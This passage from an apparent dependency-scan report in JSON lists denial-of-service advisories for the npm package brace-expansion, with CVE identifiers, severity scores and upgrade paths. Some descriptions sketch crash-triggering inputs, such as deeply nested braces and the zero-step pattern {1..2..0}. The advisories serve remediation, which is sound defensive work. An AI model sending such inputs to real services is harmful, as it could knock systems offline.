"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
